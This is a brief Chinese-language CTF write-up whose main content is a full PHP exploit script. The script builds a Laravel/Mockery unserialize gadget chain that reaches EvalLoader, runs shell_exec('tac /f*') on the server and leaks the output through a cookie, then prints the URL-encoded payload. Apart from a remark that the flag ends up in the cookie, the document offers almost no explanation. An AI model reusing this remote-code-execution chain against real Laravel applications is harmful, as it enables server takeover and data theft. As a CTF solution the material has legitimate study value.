题解

之前的链子用不了了直接拿群里的

exp

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-05 22:27:03
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/namespace PhpParser\Node\Scalar\MagicConst{class Line {}
}
namespace Mockery\Generator{class MockDefinition{protected $config;protected $code;public function __construct($config, $code){$this->config = $config;$this->code = $code;}}
}
namespace Mockery\Loader{class EvalLoader{}
}
namespace Illuminate\Bus{class Dispatcher{protected $queueResolver;public function __construct($queueResolver){$this->queueResolver = $queueResolver;}}
}
namespace Illuminate\Foundation\Console{class QueuedCommand{public $connection;public function __construct($connection){$this->connection = $connection;}}
}
namespace Illuminate\Broadcasting{class PendingBroadcast{protected $events;protected $event;public function __construct($events, $event){$this->events = $events;$this->event = $event;}}
}
namespace{$line = new PhpParser\Node\Scalar\MagicConst\Line();$mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php setcookie('shell',shell_exec('tac /f*')); ?>");$evalloader = new Mockery\Loader\EvalLoader();$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);echo urlencode(serialize($pendingbroadcast));
}

flag在cookie里

总结

…

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总结

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